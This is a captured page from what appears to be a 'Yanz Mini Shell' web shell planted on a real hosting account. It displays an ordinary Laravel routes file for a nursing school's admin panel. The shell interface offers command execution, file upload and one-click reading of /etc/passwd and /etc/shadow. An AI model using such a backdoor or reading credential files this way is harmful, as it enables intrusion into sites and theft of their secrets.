Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
lifesavingnursin
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php use Illuminate\Support\Facades\Route; use App\Http\Controllers\Admin\Dashboard\IndexController as DashboardController; use App\Http\Controllers\Admin\Role\IndexController as RoleController; use App\Http\Controllers\Admin\Permission\IndexController as PermissionController; use App\Http\Controllers\Admin\User\IndexController as UserController; use App\Http\Controllers\Admin\Branch\IndexController as BranchController; use App\Http\Controllers\Admin\Teacher\IndexController as TeacherController; use App\Http\Controllers\Admin\Student\IndexController as StudentController; use App\Http\Controllers\Admin\Course\IndexController as CourseController; use App\Http\Controllers\Admin\Application\IndexController as ApplicationController; use App\Http\Controllers\Admin\Fee\IndexController as FeeController; use App\Http\Controllers\Admin\QEC\DashboardController as QECDashboardController; use App\Http\Controllers\Admin\QEC\UniversityController as UniversityController; use App\Http\Controllers\Admin\QEC\LetterController as LetterController; use App\Http\Controllers\Admin\QEC\QECDataController as QECDataController; use App\Http\Controllers\Admin\LibraryBook\IndexController as LibraryBookController; use App\Http\Controllers\Admin\Subject\IndexController as SubjectController; use App\Http\Controllers\Admin\Exam\IndexController as ExamController; use App\Http\Controllers\Admin\Student\StudentExamController as StudentExamController; use App\Http\Controllers\Admin\Profile\IndexController as ProfileController; /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider and all of them will | be assigned to the "web" middleware group. Make something great! | */ Route::get('/', function () { return redirect('login'); }); Route::group(['namespace' => 'Admin', 'prefix' => 'admin', 'middleware' => ['auth']], function(){ Route::get('/', function () { return redirect('/admin/dashboard'); }); Route::group(['namespace' => 'Dashboard'], function (){ Route::get('dashboard', [DashboardController::class,'index'])->name('dashboard.index')->middleware('permission:dashboard-list'); }); Route::group(['namespace' => 'Role'], function (){ Route::get('roles', [RoleController::class,'index'])->name('roles.index')->middleware('permission:role-list'); Route::get('roles/create', [RoleController::class,'create'])->name('roles.create')->middleware('permission:role-create'); Route::post('roles', [RoleController::class,'store'])->name('roles.store')->middleware('permission:role-create'); Route::get('roles/{id}/edit', [RoleController::class,'edit'])->name('roles.edit')->middleware('permission:role-edit'); Route::put('roles/{id}', [RoleController::class,'update'])->name('roles.update')->middleware('permission:role-edit'); Route::any('roles/{id}/destroy', [RoleController::class,'destroy'])->name('roles.destroy')->middleware('permission:role-delete'); }); Route::group(['namespace' => 'Permission'], function (){ Route::get('permissions', [PermissionController::class,'index'])->name('permissions.index')->middleware('permission:permission-list'); Route::get('permissions/create', [PermissionController::class,'create'])->name('permissions.create')->middleware('permission:permission-create'); Route::post('permissions', [PermissionController::class,'store'])->name('permissions.store')->middleware('permission:permission-create'); Route::get('permissions/{id}/edit', [PermissionController::class,'edit'])->name('permissions.edit')->middleware('permission:permission-edit'); Route::put('permissions/{id}', [PermissionController::class,'update'])->name('permissions.update')->middleware('permission:permission-edit'); Route::any('permissions/{id}/destroy', [PermissionController::class,'destroy'])->name('permissions.destroy')->middleware('permission:permission-delete'); }); Route::group(['namespace' => 'User'], function (){ Route::get('users', [UserController::class,'index'])->name('users.index')->middleware('permission:user-list'); Route::get('users/create', [UserController::class,'create'])->name('users.create')->middleware('permission:user-create'); Route::post('users', [UserController::class,'store'])->name('users.store')->middleware('permission:user-create'); Route::get('users/{id}/edit', [UserController::class,'edit'])->name('users.edit')->middleware('permission:user-edit'); Route::put('users/{id}', [UserController::class,'update'])->name('users.update')->middleware('permission:user-edit'); Route::any('users/{id}/destroy', [UserController::class,'destroy'])->name('users.destroy')->middleware('permission:user-delete'); }); Route::group(['namespace' => 'Branch'], function (){ Route::get('branches', [BranchController::class,'index'])->name('branches.index')->middleware('permission:branch-list'); Route::get('branches/create', [BranchController::class,'create'])->name('branches.create')->middleware('permission:branch-create'); Route::post('branches', [BranchController::class,'store'])->name('branches.store')->middleware('permission:branch-create'); Route::get('branches/{id}/edit', [BranchController::class,'edit'])->name('branches.edit')->middleware('permission:branch-edit'); Route::put('branches/{id}', [BranchController::class,'update'])->name('branches.update')->middleware('permission:branch-edit'); Route::any('branches/{id}/destroy', [BranchController::class,'destroy'])->name('branches.destroy')->middleware('permission:branch-delete'); Route::get('branches/updateStatus', [BranchController::class, 'updateStatus'])->name('branches.updateStatus'); }); Route::group(['namespace' => 'Teacher'], function (){ Route::get('teachers', [TeacherController::class,'index'])->name('teachers.index')->middleware('permission:teacher-list'); Route::get('teachers/create', [TeacherController::class,'create'])->name('teachers.create')->middleware('permission:teacher-create'); Route::post('teachers', [TeacherController::class,'store'])->name('teachers.store')->middleware('permission:teacher-create'); Route::get('teachers/{id}/edit', [TeacherController::class,'edit'])->name('teachers.edit')->middleware('permission:teacher-edit'); Route::put('teachers/{id}', [TeacherController::class,'update'])->name('teachers.update')->middleware('permission:teacher-edit'); Route::any('teachers/{id}/destroy', [TeacherController::class,'destroy'])->name('teachers.destroy')->middleware('permission:teacher-delete'); }); Route::group(['namespace' => 'Student'], function (){ Route::get('students', [StudentController::class,'index'])->name('students.index')->middleware('permission:student-list'); Route::get('students/create', [StudentController::class,'create'])->name('students.create')->middleware('permission:student-create'); Route::post('students', [StudentController::class,'store'])->name('students.store')->middleware('permission:student-create'); Route::get('students/{id}/edit', [StudentController::class,'edit'])->name('students.edit')->middleware('permission:student-edit'); Route::put('students/{id}', [StudentController::class,'update'])->name('students.update')->middleware('permission:student-edit'); Route::any('students/{id}/destroy', [StudentController::class,'destroy'])->name('students.destroy')->middleware('permission:student-delete'); }); Route::group(['namespace' => 'Course'], function (){ Route::get('courses', [CourseController::class,'index'])->name('courses.index')->middleware('permission:course-list'); Route::get('courses/create', [CourseController::class,'create'])->name('courses.create')->middleware('permission:course-create'); Route::post('courses', [CourseController::class,'store'])->name('courses.store')->middleware('permission:course-create'); Route::get('courses/{id}/edit', [CourseController::class,'edit'])->name('courses.edit')->middleware('permission:course-edit'); Route::put('courses/{id}', [CourseController::class,'update'])->name('courses.update')->middleware('permission:course-edit'); Route::any('courses/{id}/destroy', [CourseController::class,'destroy'])->name('courses.destroy')->middleware('permission:course-delete'); Route::post('courses/updateStatus', [CourseController::class, 'updateStatus'])->name('courses.updateStatus'); Route::get('courses/branch-courses', [CourseController::class, 'getBranchCourses'])->name('courses.branch-courses'); }); Route::group(['namespace' => 'Application'], function (){ Route::get('applications', [ApplicationController::class,'index'])->name('applications.index')->middleware('permission:application-list'); Route::get('applications/create', [ApplicationController::class,'create'])->name('applications.create')->middleware('permission:application-create'); Route::post('applications', [ApplicationController::class,'store'])->name('applications.store')->middleware('permission:application-create'); Route::get('applications/{id}/show', [ApplicationController::class,'show'])->name('applications.show'); Route::get('applications/{id}/edit', [ApplicationController::class,'edit'])->name('applications.edit')->middleware('permission:application-edit'); Route::put('applications/{id}', [ApplicationController::class,'update'])->name('applications.update')->middleware('permission:application-edit'); Route::any('applications/{id}/destroy', [ApplicationController::class,'destroy'])->name('applications.destroy')->middleware('permission:application-delete'); // Add to your routes file Route::get('get-course-details', [ApplicationController::class, 'getCourseDetails'])->name('applications.get-course-details'); }); Route::group(['namespace' => 'Fee'], function () { Route::get('fees', [FeeController::class, 'index'])->name('fees.index')->middleware('permission:fee-management-list'); Route::get('fees/{student_id}', [FeeController::class, 'show'])->name('fees.show')->middleware('permission:fee-management-edit'); Route::post('fees/{student_id}', [FeeController::class, 'store'])->name('fees.store')->middleware('permission:fee-management-create'); Route::put('fees/{student_id}/update/{fee_id}', [FeeController::class, 'update'])->name('fees.update')->middleware('permission:fee-management-edit'); // Add this line Route::get('fees/{student_id}/receipt/{fee_id}', [FeeController::class, 'generateReceipt'])->name('fees.receipt.single')->middleware('permission:fee-management-edit'); Route::get('fees/{student_id}/statement', [FeeController::class, 'generateStatement'])->name('fees.receipt.history')->middleware('permission:fee-management-edit'); }); // QEC Module Start Route::group(['namespace' => 'QEC', 'prefix' => 'qec', 'as' => 'qec.', 'middleware' => ['auth']], function () { // Dashboard Route::get('/', [QECDashboardController::class, 'index'])->name('dashboard')->middleware('permission:qec-dashboard-list'); // University Managment Route::group(['prefix' => 'universities', 'as' => 'universities.'], function () { Route::get('/', [UniversityController::class, 'index'])->name('index')->middleware('permission:qec-university-list'); Route::get('/create', [UniversityController::class, 'create'])->name('create')->middleware('permission:qec-university-create'); Route::post('/', [UniversityController::class, 'store'])->name('store')->middleware('permission:qec-university-create'); Route::get('/{id}/edit', [UniversityController::class, 'edit'])->name('edit')->middleware('permission:qec-university-edit'); Route::put('/{id}', [UniversityController::class, 'update'])->name('update')->middleware('permission:qec-university-edit'); Route::post('/{id}/status', [UniversityController::class, 'updateStatus'])->name('status'); Route::delete('/{id}', [UniversityController::class, 'destroy'])->name('destroy')->middleware('permission:qec-university-delete'); }); // Received Letters (Incoming) Route::group(['prefix' => 'received', 'as' => 'received.'], function () { Route::get('/', [LetterController::class, 'receivedLetters'])->name('index')->middleware('permission:qec-received-list'); Route::get('/create', [LetterController::class, 'createReceived'])->name('create')->middleware('permission:qec-received-create'); Route::post('/', [LetterController::class, 'storeReceived'])->name('store')->middleware('permission:qec-received-create'); Route::get('/{id}/show', [LetterController::class, 'show'])->name('show'); Route::get('/{id}/edit', [LetterController::class, 'edit'])->name('edit')->middleware('permission:qec-received-edit'); Route::put('/{id}', [LetterController::class, 'update'])->name('update')->middleware('permission:qec-received-edit'); Route::post('/{id}/status', [LetterController::class, 'updateStatus'])->name('status'); Route::delete('/{id}', [LetterController::class, 'destroy'])->name('destroy')->middleware('permission:qec-received-delete'); Route::get('/{id}/print', [LetterController::class, 'print'])->name('print'); }); // Sent Letters (Outgoing) Route::group(['prefix' => 'sent', 'as' => 'sent.'], function () { Route::get('/', [LetterController::class, 'sentLetters'])->name('index')->middleware('permission:qec-sent-list'); Route::get('/create', [LetterController::class, 'createSent'])->name('create')->middleware('permission:qec-sent-create'); Route::post('/', [LetterController::class, 'storeSent'])->name('store')->middleware('permission:qec-sent-create'); Route::get('/{id}/show', [LetterController::class, 'show'])->name('show'); Route::get('/{id}/edit', [LetterController::class, 'edit'])->name('edit')->middleware('permission:qec-sent-edit'); Route::put('/{id}', [LetterController::class, 'update'])->name('update')->middleware('permission:qec-sent-edit'); Route::post('/{id}/status', [LetterController::class, 'updateStatus'])->name('status'); Route::delete('/{id}', [LetterController::class, 'destroy'])->name('destroy')->middleware('permission:qec-sent-delete'); Route::get('/{id}/print', [LetterController::class, 'print'])->name('print'); }); // QEC Data Management Route::group(['prefix' => 'qec-data', 'as' => 'qec-data.'], function () { Route::get('/', [QECDataController::class, 'index'])->name('index')->middleware('permission:qec-data-list'); Route::get('/create', [QECDataController::class, 'create'])->name('create')->middleware('permission:qec-data-create'); Route::post('/', [QECDataController::class, 'store'])->name('store')->middleware('permission:qec-data-create'); Route::get('/{id}/edit', [QECDataController::class, 'edit'])->name('edit')->middleware('permission:qec-data-edit'); Route::put('/{id}', [QECDataController::class, 'update'])->name('update')->middleware('permission:qec-data-edit'); Route::delete('/{id}', [QECDataController::class, 'destroy'])->name('destroy')->middleware('permission:qec-data-delete'); Route::delete('/attachment/{id}', [QECDataController::class, 'deleteAttachment'])->name('attachment.delete'); Route::get('/attachment/{id}/download', [QECDataController::class, 'downloadAttachment'])->name('attachment.download'); }); // Attachment Routes Route::delete('/attachment/{id}', [LetterController::class, 'deleteAttachment'])->name('attachment.delete'); Route::get('/attachment/{id}/download', [LetterController::class, 'downloadAttachment'])->name('attachment.download'); }); Route::group(['namespace' => 'LibraryBook', 'prefix' => 'library', 'as' => 'library.', 'middleware' => ['auth']], function () { Route::get('/', [LibraryBookController::class, 'index'])->name('index')->middleware('permission:library-book-list'); Route::get('/create', [LibraryBookController::class, 'create'])->name('create')->middleware('permission:library-book-create'); Route::post('/', [LibraryBookController::class, 'store'])->name('store')->middleware('permission:library-book-create'); Route::get('/{id}/edit', [LibraryBookController::class, 'edit'])->name('edit')->middleware('permission:library-book-edit'); Route::put('/{id}', [LibraryBookController::class, 'update'])->name('update')->middleware('permission:library-book-edit'); Route::get('/{id}', [LibraryBookController::class, 'show'])->name('show'); Route::post('/{id}/status', [LibraryBookController::class, 'updateStatus'])->name('status'); Route::delete('/{id}', [LibraryBookController::class, 'destroy'])->name('destroy')->middleware('permission:library-book-delete'); }); // EXAM MODULE ROUTES START // Subject Management (Branch Admin) Route::group(['namespace' => 'Subject'], function () { Route::get('subjects', [SubjectController::class, 'index'])->name('subjects.index')->middleware('permission:subject-list'); Route::get('subjects/create', [SubjectController::class, 'create'])->name('subjects.create')->middleware('permission:subject-create'); Route::post('subjects', [SubjectController::class, 'store'])->name('subjects.store')->middleware('permission:subject-create'); Route::get('subjects/{id}/edit', [SubjectController::class, 'edit'])->name('subjects.edit')->middleware('permission:subject-edit'); Route::put('subjects/{id}', [SubjectController::class, 'update'])->name('subjects.update')->middleware('permission:subject-edit'); Route::any('subjects/{id}/destroy', [SubjectController::class, 'destroy'])->name('subjects.destroy')->middleware('permission:subject-delete'); // Additional Subject Routes Route::post('subjects/update-status', [SubjectController::class, 'updateStatus'])->name('subjects.updateStatus'); Route::get('subjects/course/{courseId}', [SubjectController::class, 'getByCourse'])->name('subjects.getByCourse'); }); // Exam Management (Teacher & Branch Admin) Route::group(['namespace' => 'Exam'], function () { Route::get('exams', [ExamController::class, 'index'])->name('exams.index')->middleware('permission:exam-list'); Route::get('exams/create', [ExamController::class, 'create'])->name('exams.create')->middleware('permission:exam-create'); Route::post('exams', [ExamController::class, 'store'])->name('exams.store')->middleware('permission:exam-create'); Route::get('exams/{id}/edit', [ExamController::class, 'edit'])->name('exams.edit')->middleware('permission:exam-edit'); Route::put('exams/{id}', [ExamController::class, 'update'])->name('exams.update')->middleware('permission:exam-edit'); Route::any('exams/{id}/destroy', [ExamController::class, 'destroy'])->name('exams.destroy')->middleware('permission:exam-delete'); // Question Management Routes Route::get('exams/{exam}/questions', [ExamController::class, 'questions'])->name('exams.questions'); Route::post('exams/{exam}/questions', [ExamController::class, 'storeQuestion'])->name('exams.questions.store'); Route::delete('exams/questions/{question}', [ExamController::class, 'destroyQuestion'])->name('exams.questions.destroy'); // Exam Results Route::get('exams/{exam}/results', [ExamController::class, 'results'])->name('exams.results'); }); // Student Exam Routes (Accessible by Students) Route::group(['namespace' => 'Student', 'prefix' => 'student'], function () { Route::get('my-exams', [StudentExamController::class, 'index'])->name('student.exams.index')->middleware('permission:student-exam-list'); Route::get('my-exams/{exam}', [StudentExamController::class, 'show'])->name('student.exams.show'); Route::post('my-exams/{exam}/start', [StudentExamController::class, 'start'])->name('student.exams.start'); Route::post('my-exams/attempt/{attempt}/submit', [StudentExamController::class, 'submit'])->name('student.exams.submit'); Route::get('my-exams/attempt/{attempt}/result', [StudentExamController::class, 'result'])->name('student.exams.result'); Route::get('my-results', [StudentExamController::class, 'history'])->name('student.results.history'); }); // END EXAM MODULE ROUTES Route::group(['namespace' => 'Profile'], function (){ Route::get('profile', [ProfileController::class, 'edit'])->name('profile.edit'); Route::patch('profile', [ProfileController::class, 'update'])->name('profile.update'); Route::delete('profile', [ProfileController::class, 'destroy'])->name('profile.destroy'); }); }); require __DIR__.'/auth.php';
Free Space : 128340373504 Byte